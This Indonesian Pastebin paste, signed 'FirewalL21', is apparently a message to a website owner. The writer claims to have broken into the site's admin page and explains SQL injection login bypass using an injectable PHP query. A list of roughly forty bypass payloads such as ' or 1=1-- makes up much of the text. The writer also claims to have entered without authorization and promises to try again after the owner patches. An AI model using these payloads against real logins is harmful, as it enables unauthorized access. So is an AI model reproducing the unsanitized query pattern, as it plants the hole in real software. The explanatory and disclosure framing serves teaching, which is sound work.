Advertisement
Ribang

logika bypas admin

Jul 14th, 2017
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.88 KB | None | 0 0
  1. saya dapat memasuki halaman admin website anda sebagai bukti berikut saya kirim foto nya..
  2.  
  3.  
  4. website anda rentan bypass admin login.
  5. berikut saya jelaskan sedikit .
  6. CONTOH :
  7.  
  8. (*tidak semua command seperti ini)
  9.  
  10. $query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";
  11.  
  12. pada login yang valid (dari admin beneran), query akan menjadi seperti ini:
  13. $query = "select * from user where username='admin' AND password='bf3c64427a9d5a3c4e610a876bd0b5be'";
  14.  
  15. query tersebut benar, dan benar2 melakukan pengecekan apakah user admin dengan password bf3c64427a9d5a3c4e610a876bd0b5be ada di database. jika tidak ada, return false dan tidak bisa login. jika ada, return true dan login.
  16.  
  17. username='admin' AND password='bf3c64427a9d5a3c4e610a876bd0b5be'
  18.  
  19. kedua hal tersebut adalah statement yg di cek oleh query mysql.
  20.  
  21. namun ternyata pengecekan tersebut bisa di lewati dengan membuat query memberikan return true. kita hanya perlu membuat query selalu memberikan nilai benar. salah satu yg bisa kita lakukan adalah dengan menambahkan statement OR dengan statement yg memberikan return true. misal 1=1
  22.  
  23. OR 1=1
  24.  
  25. sehingga, kita perlu membuat query menjadi seperti ini :
  26. $query = "select * from user where username='admin' OR 1=1 AND password='bf3c64427a9d5a3c4e610a876bd0b5be' OR 1=1";
  27.  
  28. bgmana caranya ?
  29. sedangkan username yang akan kita isikan nanti akan ada di antara ' dan ' ?
  30. kenapa OR 1=1 berada di luar tanda ' ?
  31.  
  32. nah,.. itu saya juga bingung
  33.  
  34. gini caranya.
  35. kan yang nanti akan kita input berada di antara tanda ' dan ' , ya kan ?
  36. berarti kita tinggal masukin username nya misalnya seperti ini (berlaku juga dengan password) ;
  37.  
  38. adminweb' OR 1=1--
  39.  
  40. maka akan menjadi seperti ini:
  41.  
  42. $query = "select * from user where username='adminweb' OR 1=1--' AND password='adminweb' OR 1=1--'";
  43.  
  44. perhatikan username='adminweb' OR 1=1--'
  45.  
  46. tapi kok kenapa tu ada 1 tanda petik nganggur --> ' ga ke tutup ?
  47.  
  48. info :
  49. dengan memberikan comment mysql: --
  50. pengecekan di belakang coment akan di lewati
  51.  
  52.  
  53. perhatikan hukum logika berikut pada argument AND:
  54. true AND true = true
  55. true AND false = false
  56. false AND false = false
  57. false AND true = false
  58.  
  59. "AND" membandingkan true dengan true. jika kedua terbanding bernilai true, maka return true. jika salah satu atau kedua nya false, maka return false.
  60.  
  61. namun, berbeda dengan OR.
  62. true OR true = true
  63. true OR false = true
  64. false OR true = true
  65. false OR false = false
  66.  
  67. jika salah satu TRUE, maka return akan memberikan TRUE.
  68.  
  69. nah, perhatikan query setellah di inject:
  70. $query = "select * from user where username='adminweb' OR 1=1--' AND password='adminweb' OR 1=1--'";
  71.  
  72. 1=1 ----> true
  73. adminweb OR true = true
  74.  
  75. walapun user "adminweb" tidak pernah ada, maka query akan selalu memberikan nilai true, karena 1=1 adalah benar (true).
  76.  
  77. kita bisa tanpa memberikan username sama sekali. sehingga injeksi akan menjadi seperti ini jika kita menggunakan username dan password yg sama : ' or 1=1--
  78. $query = "select * from user where username='' or 1=1--' AND password='' or 1=1--'";
  79.  
  80. hal yg perlu kita perhatikan untuk bypass login adalah nilai true yg di keluarkan dan tidak terjadinya error pada script. sehingga penggunaan tanda baca sangat fatal pada injeksi seperti ini.
  81.  
  82. dengan memperhatikan output nilai true dan script berjalan dengan benar (tanpa error), kita bisa mencoba berbagai variasi username dan password untuk bisa login. misal
  83.  
  84. a' or 'a'='a
  85.  
  86. dengan demikian, kita telah memanipulasi query menjadi seperti ini:
  87. $query = "select * from user where username='a' or 'a'='a' AND password='a' or 'a'='a'";
  88.  
  89. tidak ada tanda kutip yang tidak tertutup, sehingga query berjalan lancar. statement OR memberikan nilai true, karena 'a'='a' adalah benar. mysql query memang sangat peka terhadap tanda petik. jangan ada tanda petik yg tidak tertutup.
  90.  
  91. berbagai variasi injeksi login seperti berikut:
  92.  
  93. ‘ or 1=1 or ”=’
  94. ‘ or 1=1–
  95. ‘ or 1=1#
  96. ‘ or 1=1/*
  97. ' or 1=1
  98. ' or '1'='1'
  99. 1' or 1=1
  100. 1' or '1'='1'
  101. ' or 'z'='z
  102. ‘) or ’1'=’1–
  103. ‘) or (’1'=’1–
  104. ” or 1=1–
  105. or 1=1–
  106. ‘or 0=0 –
  107. ‘or ‘x’='x
  108. ‘or a=a-
  109. “or 0=0 –
  110. “or 0=0 #
  111. “or “x”=”x
  112. “)or(“a”=”a
  113. admin’–
  114. hi” or 1=1 –
  115. hi’ or’a'=’a
  116. hi”)or(“a”=”a
  117. or 0=0 #
  118. or a=a–
  119. ‘or 0=0 #
  120. ‘having 1=1–
  121. “or 1=1–
  122. “or “a”=”a
  123. ‘)or(‘a’='a
  124. ‘)or(‘x’='x
  125. hi” or “a”=”a
  126. hi’ or 1=1 –
  127. hi’)or(‘a’='a
  128. or 0=0 –
  129. or 1=1–
  130. 1'or’1'=’1
  131.  
  132. saran saya ganti script admin login nya. silahkan di patch website nya pak .
  133. hanya itu yang dapat saya sampaikan, semoga bermanfaat, entar kalau sudah bapak perbaiki website nya, saya coba lagi jebol ya, kalau masih bisa di jebol maka bapak harus perbaiki lagi, agar hacker hacker yang tidak bertanggung jawab tidak merusak website bapak, mohon maaf bila ada salah kata , lebih dan kurang nya saya ucapkan terima kasih
  134.  
  135.  
  136.  
  137. FirewalL21
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement